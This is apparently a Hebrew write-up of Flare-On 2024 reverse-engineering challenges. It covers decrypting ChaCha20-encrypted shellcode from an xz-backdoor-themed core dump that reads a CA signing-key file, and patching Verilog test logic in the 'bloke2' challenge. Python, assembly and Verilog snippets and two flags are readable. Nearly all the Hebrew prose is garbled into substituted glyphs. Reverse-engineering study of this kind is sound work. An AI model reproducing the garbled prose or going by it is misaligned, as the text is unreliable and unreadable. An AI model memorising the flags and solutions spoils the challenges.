˧˸˞˴ˣˢ ˫˰ IDA ˧˸˶ˬ˷ˣ ˳˟ˣ˵˟ Φˤ˞ˣ ˧˸˥ˮ˰˧˲ ˸˞ sπshellcode ˸˶ˤ˰˟ ˦˲˧˶˵˯ˢ ˞˟ˢΥ 

from Crypto.Cipher import ChaCha20 
 
enc_shellcode = open( "enc_shellcode.raw" , "rb" ). read()  
key = 
bytearray ([ 0x94, 0x3d, 0xf6 , 0x38, 0xa8, 0x18, 0x13, 0xe2, 0xde, 0x63, 0x18, 0xa5, 0x07, 0xf
9, 0xa0, 0xba, 0x2d, 0xbb, 0x8a, 0x7b, 0xa6, 0x36, 0x66, 0xd0, 0x8d, 0x11, 0xa6, 0x5e, 0xc9, 0x
14, 0xd6, 0x6f ])  
nonce = 
bytearray ([ 0xf2 , 0x36, 0x83, 0x9f , 0x4d, 0xcd, 0x71, 0x1a, 0x52, 0x86, 0x29, 0x55])  
 
cipher = ChaCha20.new(key=key, nonce=nonce)  
 
with open( "out" , "wb+" ) as f:  

  f.write(cipher.decrypt(enc_shellcode))˧˸˥˸˲ ˸˞ ˳˟ˣ˵ˢ ˥ˮ˰ˣ˲ˬˢ ˟πIDA ˭˟ˣˬ˩ˣ ˧˸˶˥˟˷ 

˷˶˲˪ ˣ˸ˣ˞ ˩πсп ˦˧˟ ύ˭ˣˣ˧˩ ˢˤ˷ ˳˟ˣ˵ raw Σ˳˟ˣ˵ ˞ˣˢ˷ ˣ˦ˮ shellcode ˞˪ˣ ˳˟ˣ˵ ˦ˬ˶ˣ˲˟ ˶˩ˣˬ ΣIDA ˪˞ˣ˷ 

˨˧˞ ˷˶˲˪ ˣ˸ˣ˞ Φό˵˪˥ˢ ˞˟ˢ ˞ˣˢ ˞˪ ˵˸˶ˬ Φ˦ˣ˷˲ ˢˮ˟ˢ ˪˷ sπshellcode Φ 
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˨˩ ˸˧˞˶ˮ ˢ˧˴˪˧˲ˬˣ˵˧ˡˢ ˧˶˥˞ ˧˸ˮ˟ˢ˷ ˟˦˧ˢ ˢˬ ˞ˣˢ ˢ˷ˣ˰Υ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˶˴ˣˮ ˶ˣ˟˧˥ Σ˪˟˵˸ˬ ˥˸˲ˬ xπnonce ˣ˸˧˞˷ ˥ˮ˰ˣ˲ˬ ύˢˮ˲˴ˢˢ ˸˧˶˦ˬ˧˯ ό˳˟ˣ˵ ˣˬ˷˷ 

ˣ˩˶ˣ˞ˣ ˫ˠ ˭˩ ˪˟˵˸ˬ Φ˫˞ ˟ˣ˷˥ˮ ˪˰ ˢˤ Σ˫˧˶˦ˬ˶˲ˢ ˫˧˧˦˧˶˵ˢ ύ˥˸˲ˬˢ Σπsnonce ˭˩ˣ˸ˢˣ ˭˲˴ˣˬˢ ό˫˧˟˧˧˥ 

˞˴ˬ˧ˢ˪ ˟πcore ˣˮ˪˷ Σ˸˶˥˞ ˞˪ ˪˩ˣˮ ˥ˮ˰˲˪ ˸˞ ˭˩ˣ˸ˢ ˭˲˴ˣˬˢΦ 

˫˞ ˪˩˸˯ˮ ˪˰ ˮ˧˰˦ˢ s˪˷ ˫˧˩˶˰ˢ ˢ˪˞ˢ ˧˪˟ˬ˯˞˟ ˢ˞˶ˮ ˣˢ˷ˬ ˶ˤˣˬΥ 
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˫ˢ ˫˧ˮ˰˦ˮ ˦˯˲ˣ˞ˬ ˶ˤˣˬ Σ˫˧˦˯˲ˣ˞ˢ ˫˧˵ˣ˥˶ ˡˣ˞ˬ ˢˬπbase pointer ˸˞ˤˣ ˭ˣˣ˧˩ ˫ˢ˷ ˢ˷˰ˬ˪ ˫˧ˮ˰˦ˮ 

˫ˣ˵ˬˬ ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ˷ ˧ˮ˲˪ sπshellcode ύ˞ˣˢ˷ ˨˶ˣ˞˟ 0xF96 Φό˭˩˪ ˫˧˩˶˰ˢ ˢ˪˞ˢ ˥˶˩ˢ˟ ˫˧˞˴ˬˮ ˳˟ˣ˵˟ 

πscore ˣˮ˪˷ Φ˵ˣˤ˧˥˩ ˢˮ˰˦˪ ˣˬ˧˷ ˪ ˟˷˧˷ ˫˧˩˶˰ ˫˧˶˥˞ Σˣˬ˩ ˨˶ˣ˞ ˫˷ ˳˟ˣ˵ˢ ύˢˮˣˬ˸˟ ό˫˧˞˴ˬˮ˷ ˟ˣ˶˵ 

ˡˣ˞ˬ ˪πbase pointer ˞˪ˣ ˞˴ˬˮ ˣ˸ˣ˞ ˳˟ˣ˵˟ sπcore ˣˮ˪˷Φ 

˟˪˷˟ ˢˤˢ ˧˸ˮ˟ˢ ˷˧˷ ˧˪ ˸˞ ˪˩ ˫˧˩˶˰ˢ ˳˟ˣ˵˟ Σ˵˶ ˶˞˷ˮ ˧˪ ˞ˣ˴ˬ˪ ˫˸ˣ˞ Φ˭˞˩ ˧˸˰˵˸ˮ Σ˨˶ˡˢ ˢ˪˵ˢ 

ˢˬ˩˥ˢˣ ˫ˡ˵˸ˢ˪ ˭˞˩ˬ ˞˧ˢ ˷˥ˮ˪ ˸˴˵ ˸ˣˬ˷ ˪˷ ˫˧˴˟˵ x˞ file extensions ˸ˣˣ˵˪ˣ ˟ˣ˦˪ Σˢ˩˩ ˧˸˶˸˲ Φ

˷ˣ˲˧˥ ˸ˣˬ˷ ˫˧˴ˣ˲ˮ ˪πfilenames ύ˪˪ˣ˩ extensions ό˳˟ˣ˵˟ sπcore ύ˸˶ˤ˰˟ IDA ˧˩ ˢˤ ˥ˣˮ ˫ˠ ˧˴˟˵˪ core ό

˪˧˟ˣ˧ ˸ˣ˶˧ˢˬ˟ ˫˷˪ ˪˷ ˳˟ˣ˵ˢ ˞˟ˢ ˰˧˲ˣˬ˷ ˟πcoreΥ 

'/root/certificate_authority_signing_key.txt'  

˫ˣ˷ˬ ˢˬ ˸ˡˣ˵˲ grep ˪˷ GEF ˟πgdb ˞˪ ˸˞˴ˣˬ ˧˪ ˸˞ ˳˟ˣ˵ˢ ˢˤˢ Σ˪˟˞ ˧ˮ˞˷˩ ˥˵ˣ˪ ˸˞ ˸˟ˣ˸˩ˢ ˬπIDA 

˞˶ˣ˵ˣ ˟πgdb Φ˧ˮ˞ ˢ˞ˣ˶ ˢˤ˷ ˰˧˲ˣˬ ˢ˲ˣ˴ˬ˩ Φ˶˥˞˪ ˷˧˷ ˣˮ˪ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ ˳˟ˣ˵ˢ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ ˶˞˷ 

˫˧˩˶˰ˢ ˶˷˲˞ ˷ˬ˸˷ˢ˪ ˦˯˲ˣ˞˟ ˣ˪˷ ˦˯˲ˣ˞˩ ˧˯˥˧ ˶˞˷˪ ˫˧˦˯˲ˣ˞ˢ Φ˨˩ ˫ˠ ˧˸˶˸˲ ˸˞ ˶ˠ˸˞ˢ ˭ˬˤ˟ 

˸ˬ˞ Φ˪˟˞ ˡˣ˟˩˪ ˭ˣ˶˸˲ˢ Σ˧˸˦˪˥ˢ ˟˷˥˪ ˸˞ ˫˧˦˯˲ˣ˞ˢ Σ˧˪˟ˬ ˷ˬ˸˷ˢ˪ ˵˧˶˦˟ ˢˤˢ ˞˪˞ ˵˶ ˟ˣ˵˰˪ 

˧˶˥˞ sπcall stack ˸˧˦˦˯Φ 

˪˧˥˸ˮ ˱ˣ˯ˢˬ ˶ˣˤ˥ˮˣ ˢ˪˥˸ˢ˪ ˡ˰ ˰˧ˠˮ˷ ˱ˣ˯˪ ˟ˣ˷ Φ˶˧˟˯˞Υ 
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ˣˮ˥ˮ˞ ˫˧˞˴ˬˮ ˷ˬˬ ˧ˮ˲˪ ˢˡˣ˵˲ˢ call rax ˟πgdb ύ˸˞ˤ ˢ˷˰ˬ˪ ˢ˞˧˶˵ˢ ˢ˯˧˶˵ˢ˷ ˸˞ ˧˶˞ˮ˧˟ˢ Φόˣˮ˥ˮ˞ 

˫˧˴ˣ˶ ˸˰ˡ˪ ˸˞ ˨˶˰ˢ ˪˷ rsp ˧ˮ˲˪ ˣ˵˲ˢˢˡ call r8 ύˢˡˣ˵˲ˢ ˸˞˶ˣ˵˷ ˪πshellcode Φόˣˬ˧˷ ˟˪ ˭˧˞˷ ˧ˣˮ˧˷ 

˪˷ ˸˧ˮ˯˥ˬˢ Σ˧˶ˢ ˪˩ ˢ˪ˣ˰˲ ˢ˵ˮˬ ˧˶˥˞ ˢˬ˴˰ ˭˧˞ˣ ˫ˣ˷ ˨˶˰ ˱˥ˡˮ˷ ˸˧ˮ˯˥ˬ˪ ˸ˣ˞˧˶˵˟ ˢ˪˞ˢ x˞ ˫ˣ˷˟ 

˫ˣ˵ˬ ˶˥˞ ˭˧˟ ˢˡˣ˵˲ˢ ˣˮ˥ˮ˞˷ ˫˧˞˴ˬˮ ˢ˟ ˢˡˣ˵˲˪ ˸ˮ˧˧ˮ˰ˬ˷ ˣˮ˸ˣ˞ Φˤ˞ ˣ˧˷˩˰ ˷˧˷˩ ˣˮ˪ ˸˞ rsp Σˣˮ˥ˮ˞ 

˫˧˴ˣ˶ ˟ˣ˵˰˪ ˨˧˞ s˞ˣ ˢˮ˸˷ˬ ˭ˬˤ˟ ˰ˣ˴˧˟ sπshellcode ˡ˰ ˱ˣ˯˟˪˷ ˞ˣˢ ˨˲ˣˢ ˪πrbp ˢ˪ˣ˰˲˟ ˫˰ ˫˧˩˶˰ˢ 

˫˧˧˦˧˶˵ˢ ˧˸ˠ˴ˢ˷ ˫ˡˣ˵ˬΦ 

ˢ˷˰ˬ˪ ˢˬ ˢ˶ˣ˵˷ ˞ˣˢ ˢˤ˩Υ 

call r8  
push return address  
jmp to r8 ( call shellcode )  
 
--- start --  
push rbp  
mov rbp , rsp  
push return addr  
jmp func_main ( call func_main )  
-- start --  
 
-- main--  
push    rbx  
push    rsi  
push    rdi  
push    r12  
push    rbp  
mov     rbp , rsp  
 
loading our values...  
key at [ rbp - 1278h]  
nonce at [ rbp - 1258h]  
filename at [ rbp - 1248h]  
file_data at [ rbp - 1148h]  
-- main--  

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˷˧ у ˸ˣ˲˧˥ˡ ˸˧ˮ˯˥ˬ˪ Σ˪˩ ˢ˲˧˥ˡ ˢˡ˧˶ˣˬ ˨˶˰ˢˬ у Σ˭˩˪ ˸˞ ˪˩ ˫˧˦˯˲ˣ˞ˢ ˣˮ˪˷ ˥˵˧ˮ 

спҐпл0x ˫˧˸˟ ˧ˮ˲˪ ˦˯˲ˣ˞ˢ ˫ˣ˷˶ˢ ˟πshellcode ˧ˮ˲˪ sπrsp ˣˮ˪˷ Φˢˬˠˣˡ˪ ˫˞ ˷˲˥ˮ ˸˞ ˥˸˲ˬˢ 

˫ˣ˷˶˷ ˸˟ˣ˸˩˟ rbp-0x1278 Σ˞˴ˬˮ ˣ˸ˣ˞ ˸˟ˣ˸˩˟ rsp-0x1278-0x40 ˟πgdb ˨ˣ˸ˬ frame 1Φ 

˫˸˞ ˥˦˟ ˫˧˟˷ˣ˥ ˵˶˷ ˶˞˷ˮ ˞˧˴ˣˢ˪ ˸˞ ˩˶˰ˢ˫˧ ˥ˮ˰˲˪ˣ ˪˟˞ ˞˪ Σˢ˟˶ˬ˪ ˧˪ˤˬ ˧˸˶˸˲˷˩ ˸˞ ˶ˠ˸˞ˢ 

ˢˤˢ ˭ˬˤ˟ ˸ˬ˞ Σ˨ˣ˸ ˧ˡ˩ ˸ˣˮˣ˧˯˧ˮ ˫˧˷ˣ˲˧˥ˢ ˧˪˷ ˧˶˥˞ ˫˧˩˶˰ˢ ύ˰ˠ˶ˢ˷ ˧˸˶˟˯ˢ ˨˧˞ ˠ˧˷ˢ˪ Φό˧˸˷˲˧˥ ˫ˠ 

˸˞ ˰ˣ˟˵ˢ ˪˷ ChaCha20 ˞ˣˢ˷ Ϧexpand 32-byte k Ϧ˧˸˞˴ˬˣ ˵˶ ˸˞ ˡ˥˞ˢ ˰˧˲ˣˢ˷ ˢˮ˲˴ˢ˟ ˪˷ sπ

shellcode ˪˟˞ ˞˪ ˪˷ ˳˟ˣ˵ˢ Σ˸ˬ˞ˢ ˫ˠ˷ ˞˪ ˧˸˧˧ˢ ˞˴ˣˬ ˧˩ ˢˤ ˞˪ ˰˧˲ˣˬ ˟πcore Σ˪˟˞ ˤ˞ ˡˣ˰ ˞˪ ˧˸˰ˡ˧ 

˸˞ ˢˤ Φ 

˦˯˧ˣˣ˦ˢ ˞ˣˢ ˧˶˥˞˷ ˧˸˵ˡ˟˷ ˸˞ ˶˷˲ ˭˧˧ˮ˰ˢ ˧˸˧˪˧ˠ ˧˸ˬˢˡ˸˪ ˧˶˞ˮ˧˟ˢ˷ ˞˪ ˷ˬ˸˷ˬ ˸ˮ˲˴ˢ˟ 

ChaCha20 ˸˧˦˶ˡˮ˦˯ ˞˪˞ ˷˧ ˧ˣˮ˧˷ ˶˧˰ˤ ˨˞ ˧˦˧˶˵ ˷ˣˬ˧ˬ˪ π ˰ˣ˟˵ˢ ˪˷ ChaCha20 ˨˶ˡ˟˷ ˪˪˩ ˞ˣˢ 



 
 

  Flare-On 2024 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 168, ˶˟ˬ˴ˡ нлнп  нп 
 

Ϧexpand 32-byte k Ϧ˦˰ˬ ˮˣ˷ ˟sπshellcode Σ˞ˣˢ ˰˧˲ˣˬ ˩πϦexpand 32-byte K Ϧ˵˶ ˸ˣ˞ˢ k ˢ˸ˮ˸˷ˢ 

ˢˮ˦˵ˬ ˢ˪ˣˡˠ˪ Σ˪˟˞ ˢˤ ˵˧˲˯ˬ ˯ˣ˶ˢ˪ ˣˮ˪ ˸˞ ˸ˣ˶˷˲˞ˢ ˥ˮ˰˲˪ ˱˧˩˟ ˸˶ˤ˰˟ ˢ˧˧˶˲˯ ˭ˣ˸˧˧˲˟ Φˤ˞ ˱˧˪˥˸˩ 

˧˸˞˴ˬ ˷ˣˬ˧ˬ ˪˷ ˢˮ˲˴ˢˢ ˟πgithub ˸˲˷˟ C ˧˸˧ˮ˧˷ˣ ˸˞ ˰ˣ˟˵ˢ ˢˤˢΦ 

ˢ˶ˤ˥˟ ˞˧˴ˣˢ˪˪ ˸˞ ˫˧˩˶˰ˢ Σ˞˪ ˦˶˲˞ Σ˰ˠ˶˟ ˫˧˰ˡˣ˧˷ ˸˞ ˫˧˦˯˲ˣ˞ˢ ˢˤ ˧˪˞ˮ˟ Σ˪˟˞ ˭˩ ˞ˡ˧ˠ ˧ˬ˪ ˫˧ˢˣ˸˷ 

˨˧˞ ˧ˮ˞ ˰ˡˣ˧ ˢˬ ˨˶ˣ˞ˢ ˪˷ ˭˩ˣ˸ˢ ˭˲˴ˣˬˢ π ˧ˮ˞ ˞˪ Φ˦ˣ˷˲ ˧˸˞˴ˣˢ ˞˪ˬ ˫˧˸˟ ˭ˣˣ˧˩ˣ ˶˟ˣˡˬ˷ ˭˲ˣ˴˟ stream 

ύ˪˧ˡ˟ˢ˪ ˬπblock ό˶˷˲˞ ˥ˮ˰˲˪ ˢˬ˩ ˫˧˴ˣ˶˷ ˵ˣ˶ˤ˪ˣ ˥˲˪ ˸˞ ˪˩ ˢˬ ˢ˞˶ˮ˷ ˣˬ˩ ˪˟ˤ Φ˫˧˪˧ˬ˟ ˸ˣ˶˥˞ ˵˶ 

˨˧˶˴ ˞˧˴ˣˢ˪ ˵˧˲˯ˬ ˫˧ˣˣ˸ ˪ˠˡ˪ Φ˧˸˞˴ˣˢ пΣллл ˫˧ˣˣ˸ ˸ˣ˶ˬ˪ ˪ˠˡˢ˷ он Σ˞˪ ˞˶ˣˮΦ ˪ˠˡˢ ˞ˣˢΥ 

supp1y_cha1n_sund4y@flare-on.com 

˟ˠ˞ Σ˸˯˧˲˩ ˢ˧ˣˣ˧˶˦ Σ˶ˠ˸˞ˢ ˢˤˢ ˞˪ˬ ˫˧˯ˮ˶˲˶˟ ˪πbackdoor ˪˷πxz ˢ˪ˠ˸ˢ˷ ˞˪ ˭ˬˤˬ ˢ˩ˢˣ ˫˧˪ˠ ˪˩˟ 

˸ˣ˸˷˶ˢ ˟˶˵˟ ˫˧˵˯ˣ˰ˢ ˫ˣ˥˸˟Φ 

 

˶ˠ˸˞ˢ ˧˷˧˷ˢ - bloke2 

˶ˠ˸˞˟ ˢˤ ˪˟˵ˮ ˸˞ ˶ˣ˞˧˸ˢ ˞˟ˢΥ 

 

˸˞ˣ ˫˧˴˟˵ˢ ˫˧˞˟ˢΥ 

 

˧˶˥˞ ˸˴˵ ˦˟ˬ ˫˧˴˟˵˟ ˢ˞˧˶˵ˣ ˪˷ sπREADME ˭˧˟ˮ ˶˟ˣˡˬ˷ ˢ˲˷˟ ˫˷˟ Verilog ˞˧ˢ˷ ˸˲˷ ˶ˣ˞˧˸ 

ˢ˶ˬˣ˥ Φˢˤ˧˞ ˱˧˩ ˨˪ˣˢ ˸ˣ˧ˢ˪ ˧˪Χ ˢ˩˩ ˧˸˟˷˥ ˬ˴˰˪˟) ˧˸ˣ˧ˮ˧˴ ˭˟ˣˬ˩Φ ΦόΦΦ 

https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
https://github.com/Ginurx/chacha20-c
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ˢˣˣ˷ ˞ˣ˶˵˪ ˸˞ sπREADME Φ˷˧ x˟ ˸ˣ˞˶ˣˢ ˶ˠ˸˞˪ ˪˪˩˟ˣ ˫˧˲˧˦ ˫˧˧˷ˣˬ˧˷ ˸ˣ˥ˣˮ˪ ˫˩˸˞˧˶˵ ˢˮˢ ˭˩ˣ˸ˢ 

ˣ˪˷Υ 

 

˶˟˯ˣˬ ˣˮ˪ ˸˴˵ ˶˸ˣ˧ ˸ˣˡˣ˞ ˶ˠ˸˞ˢ Σ˪˪ˣ˩ ˨˧˞ ˪˲ˬ˵˪ ˨˧˞ˣ ˵ˣˡ˟˪ ˸˞ ˣˮˬ˴˰ Φ˶ˣ˸˟ ˢ˪˥˸ˢ ˧˸˩˪ˢ ˷˲˥˪ 

˸˞ sπhash ˢˤˢ ˫˧˶˟ˡˬ˷ ˣ˧˪˰ Φ 
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˧˶˥˞ ˭ˬˤ ˷ˣ˲˧˥ ˞˪ ˶˴˵ Σ˧˸˞˴ˬ ˸˞ ˢˬ ˧˸˷˲˧˥˷ ˰˦˵˟ ˡˣ˵ˢ ˭˧˧ˮ˰ˬˢ ˞˟ˢ ˞˴ˬˮ˷ ˳˟ˣ˵˟ data_mgr.vΥ 

localparam TEST_VAL = 
512'h3c9cf0addf2e45ef548b011f736cc991 44bdfee0d69df4090c8a39c520e18ec3bdc1277aad
1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;  
reg [( W* 8) - 1: 0] h;  
reg [ $clog2( W): 0] out_cnt;  
assign data_out = h[ 7: 0];  
assign dv_out = (out_cnt != 0);  
assign data_end = (out_cnt == 1);  
always @(posedge clk ) begin  
   if (rst) begin  
      out_cnt <= 0;  
   end else begin  
      // $display( "%t dmgr dout oc %h" , $time, out_cnt);  
      if (h_rdy) begin  
         // $display( "%t dmgr dout h %h t %b" , $time, h_in, tst);  
         out_cnt <= W;  
         h <= h_in ^ ( TEST_VAL & {( W* 16){tst}});  
      end else if (out_cnt != 0) begin  
         // $display( "%t dmgr dout d %h dv %b de %b oc %h" , $time, data_out,  
                    dv_out, data_end, out_cnt);  
         out_cnt <= out_cnt -  1;  
         h <= { 8'b0, h[ W* 8- 1: 8]};  
      end 
   end 
end 
endmodule 

 

˧ˮ˞ ˢˡˣˬ ˭˧˞˷ ˧˪ ˠ˷ˣˬ ˢˬ ˡˣ˵ˢ ˢˤˢ ˢ˷ˣ˰ Σˤ˞ ˧˸˦˪˥ˢ ˵˥˷˪ ˫˞ ˢˤ Σ˧˸˶ˤ˥ˢ ˸˥˞ ˸˥˞ ˸˞ ˸ˣˡˣ˵˲ˢ 

˸ˣ˞˴ˬˮ˷ ˸ˣ˶˰ˢ˟ ˧˸˴˶ˢˣ ˸˞ ˢˡˣ˵˲ˢ make tests ˪˰ ˢ˧˧˵˧˸ˢΦ 

˶˥˞˪ ˧˸˞˴ˣˢ˷ ˸˞ ˢˡˣ˵˲ˢ ˢ˧˧ˮ˷ˢ ˢ˶˰ˢˢˬ ˧˸˴˶ˢˣ ˫ˣ˞˸˲ ˧˸˦˪˵ ˸ˣ˶ˣ˷ˢ˷ ˸ˣ˞˟ˢ ύ˭ˢ˧ˮ˧˟ˣ ˫ˠ 

ˢˡˣ˵˲ˢ ˢ˸˧˧ˢ˷ ˢ˶˰ˢ˟ ό˸ˣˮ˧˧ˮ˰ˬΥ 

if (h_rdy) begin  
  $display ( "%t dmgr dout h %h t %b" , $time, h_in, tst);  
  out_cnt <= W;  
  h <= h_in ^ (TEST_VAL & {(W* 16){tst}});  

˨˶˰ˢ ˰ˣ˟˵ˢ ˣˮ˪˷ ˶˟ˣ˰ ˶ˣ˯˵ ˫˰ ˫ˢ˷ˤ˧˞ ˫˧˩˶˰Χ ˭˧˧ˮ˰ˬ ˡˣ˞ˬ Φ˧˸˪˞˷ ˸˞ GPT ˞ˣˢˣ ˭˰ˣ˦ ˷πtst ˞ˣˢ ˨˶˰ 

˧˶˞ˮ˧˟ Φˢˤ ˧ˮˣ˧ˠˢ Σˢ˯˲ˡˢ˟ ˧ˮ˞ x˶ˢ˞ ˞ˣˢ˷ ˡ˧ˬ˸ лΦ ˞ˣˢˣ ˫ˠ ˭˰ˣ˦ ˷πύW*16 όˣˡ˧˪˷ ˡ˰ˣˮ ˢ˷˰ˬ˪ ˟˧˥˶ˢ˪ 

˸˞ tst ˨˶ˣ˞˪ ˫˧ˣ˯ˬ Σˤ˞ ˢ˷˰ˬ˪ ˢˤ ˷ˬ˷ˬ ˩πbitmask Φ 
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˸ˣ˯˲ˡˢ ˧˪˷ ˶˷˲˞ ˸ˣ˞˶˪ ˶ˣ˶˧˟˟ ˷πtst ˞ˣˢ ˡ˧ˬ˸ лΥ 

 

ˤ˞ ˧˞ˡˣ ˧˸˧ˢ˸˷ ˧ˬ˴˰˪ ˢˬ ˢ˶˵˧ ˫˞ ˧ˮ˞ ˱˧˪˥˞ ˸˞ sπл ˟πм ˨˩ˣ ˧˸˧˷˰ ˢ˶ˣ˷˟ ˸˞ˤˢΥ 

h <= h_in ^ (TEST_VAL & {(W*16){1'b1}}); 

˭˞˩ ˧˸˰˵˸ˮ Σ˧˸ˣ˷˲˧˦˟ ˢˮ˧˞˷ ˸˰ˡˣ˧ ˳˵ Σ˧˸˥˩˷ ˯˧˲ˡˢ˪ ˸˞ ˢ˞˴ˣ˸ˢ Φ˶˥˞˪ ˧˸ˮ˟ˢ˷ ˸˞ ˸ˣ˰˦ˢ Σ

˧˸˲˯ˣˢ ˢ˶ˣ˷ ˢ˯˲ˡˢ˪ ˡ˧ˬ ˶˥˞˪ ˢ˶ˣ˷ˢ ˪˧˰˪Υ 

$display("result: %h", h); 

˧˸˴˶ˢˣΥ 

 

˧˸ˬˢˡ˸˪ ˢ˟˶ˢ ˧˸˪˟˧˵ ˸˞ ˪ˠˡˢ ˭˧˟ ˦˪˲ˢ ˞˴˧˷Υ 

please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com 
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˶ˠ˸˞˪ ˧˪˷ ˭ˣ˶˸˲ˢ ˢ˧ˢ ˢˤ Σ˪˟˞ ˫˞ ˫˸˞ ˫˧ˢˣ˸ ˢˤ˧˞˟ ˨˶ˡ ˭ˣˣ˩˸ˢ ˟˸ˣ˩ ˶ˠ˸˞ˢ ˣ˶˸˲˸˷ ˸˞ ˶ˠ˸˞ˢ 

ˢˤˢ Σˤ˞ ˪˞ ˢˠ˞ˡ Φ˧˸˷˵˧˟ ˶˟˥ˬ π ˧˪˞ ˧˵˯˵, ˷,˭˧ˤˠˬ˟ ˫˧ˬˡˣ˵ ˫˧˶ˬ˞ˬˬ ˫˧˶˧˩ˬ ˫˸˞ ˣ˸ˣ˞  ˢˮ˷ˢˣ˫˧˧˯ 

˫˧˪˞˶˷˧ˢ ˪˩ ˭˧˟ˬ ˭ˣ˷˞˶ Σˠ˧˴ˢ˪ ˸˞ ˨˶ˡ ˭ˣ˶˸˲ˢ ˣ˪˷ ˶ˠ˸˞˪ ˢˤΦ 

˸˷˧ˠ ˭ˣ˶˸˲ˢ ˢ˞˟ˢ ˢ˟˸˩ˮ ˪˰ ˣˡ˧Υ 

˶ˠ˸˞˟ ˢˤ ˫˧˪˟˵ˬ ˶˲˯ˬ ˧˴˟˵ verilog Σˣˤ˷ ˢ˲˷ ˡ˰ˣˮ˷ s˶˞˸˪ ˫˧˪ˠ˰ˬ ˫˧˧˪ˬ˷˥ Φ˪˩ ˳˟ˣ˵ ˪˧˩ˬ ˶ˣ˞˧˸ 

˪ˠ˰ˬ ˧˪ˬ˷˥ ˷ˬˬˬ˷ ˟˧˩˶ ˡ˥˞ Σ˪ˣ˩˧˷ ˷ˬ˸˷ˢ˪ ˫ˠ ˫˧˟˧˩˶˟ ˫˧˴˟˵ˢˬ ˫˧˶˥˞ˢ Φ˟˧˩˶ˢ sϦ˧˷˞˶ Ϧ˞ˣˢ 

bloke2b Σ˞˴ˬˮ˷ ˳˟ˣ˵˟ bloke2b.v Σ˫˧˷ˬ˸˷ˬˣ x˟ ˳˟ˣ˵˟ bloke2b_tb.v Φ˳˟ˣ˵ ˢˤ ˞ˣˢ ˳˟ˣ˵ testbench 

ύ˧˲˪ ˶ˣ˞˧˸ ˶ˠ˸˞ˢ Σόˡ˰ˣˮ˷ ˳˧˶ˢ˪ ˸ˣ˵˧ˡ˟ ˪˰ ˟˧˩˶ˢ bloke2b Φ˷˧ ˭˧˧˴˪ ˶ˠ˸˞˟˷ ˫˧˪˟˵ˬ ˫ˠ ˟˧˩˶ Ϧ˧˷˞˶ Ϧ

˱˯ˣˮ ˫˷˟ bloke2s ˳˟ˣ˵ˣ ˸ˣ˵˧ˡ˟ bloke2s_tb.v ˫˧˞˸ˬ˷ x˪ Φ 

˧ˮ˷ ˫˧˟˧˩˶ˢ ˫˧ˢˤ ˭˧˦ˣ˪˥˪ ˦˶˲ ˶˲˯ˬ˪ ˫˧˰ˣ˟˵ ˫˧˞˶˥˞˷ ˪˰ ˧˪ˡˠ ˰ˡ˧ˬˢ ˫ˢ˷ ˫˧ˡ˟ˣ˰ ˣ˧˪˰ ύbig/small ό

˪˰ˣ ˶˲˯ˬ ˫˧˟ˣ˟˧˯ˢ ˫˸˧˶ˣˠ˪˞˟ sπhash Φ˪˷ˬ˪ ˡˣ˰˟ ˟˷πbloke2s ˪ˡˣˠ sπIV ˞ˣˢ нрс ˦˧˟ ˶˲˯ˬˣ 

˫˧˟ˣ˟˧˯ˢ ˞ˣˢ мл Σ˳˟ˣ˵˟ bloke2b ˪ˡˣˠ sπIV ˞ˣˢ рмн ˦˧˟ ˶˲˯ˬˣ ˫˧˟ˣ˟˧˯ˢ ˞ˣˢ мн Φ 

˶ˠ˸˞˟ ˢˤ ˡ˵ˬ˸ˮ ˟˧˩˶˟ bloke2b ˧˩ ˪ˠˡˢ ˞˴ˬˮ x˟ Σ˨˞ ˢˤ ˞˪ ˷ˬˬ ˢˮ˷ˬ ˭ˣ˶˸˲˪ Φ˧ˮ˞˷˩ ˧˸˶˸˲ ˸˞ 

˶ˠ˸˞ˢ Σ˧˸˶˸˲ ˣ˸ˣ˞ ˶ˣ˟˰ ˟˧˩˶ˢ bloke2s ˶˥˞˪ˣ ˞˪˷ ˧˸˪˟˧˵ x˟ ˸˞ ˪ˠˡˢ Σ˧˸˷ˬ˧ˬ ˸˞ ˣ˸ˣ˞ ˭ˣ˶˸˲ˢ 

˶ˣ˟˰ ˟˧˩˶ˢ bloke2bΦ 

˭ˣ˶˸˲˟ ˶ˠ˸˞ˢ ˳˧˶ˮ ˸˞ ˳˟ˣ˵ˢ bloke2b_tb.v ˰˴˟ˮˣ ˵˶ x˟ ˸˞ ˫˧˧ˣˮ˧˷ˢ ˫˸˶ˤ˰˟˷ ˠ˧˷ˮ ˸˞ ˪ˠˡˢ Σ˧˲˩ 

˳˪ˬˣˬ˷ ˶ˣ˞˧˸˟ ˶ˠ˸˞ˢ Φ˧ˡ˩ ˳˧˶ˢ˪ ˸˞ ˳˟ˣ˵ˢ ˢˤˢ ˡ˟˪˟ Σ˧ˮ˞ ˧˸˲˯ˣˢ ˳˟ˣ˵˪ sπmakefile ˸˞ ˢ˶ˣ˷ˢ Ϧb: 

bloke2b.test Ϧ˸˶˷˲˞ˬ˷ ˧˪ ˢ˪˳˧˶ ˣ˸ˣ˞ ˪˰ ˧ˡ˧ ˸˴˶ˢ ˢˡˣ˵˲ˢ Ϧmake bΦϦ 

˟˧˩˶ˢ bloke2b ˷ˬ˸˷ˬ ˟˧˩˶˟ bloke2 Σ˶˧˟˰ˬˣ ˣ˧˪˞ ˫˧˰ˣ˟˵ ˫˧ˬ˧ˣ˯ˬ Σ˭˧˟ ˶˸˧ˢ IV ˶˲˯ˬˣ ˫˧˟ˣ˟˧˯ Φ

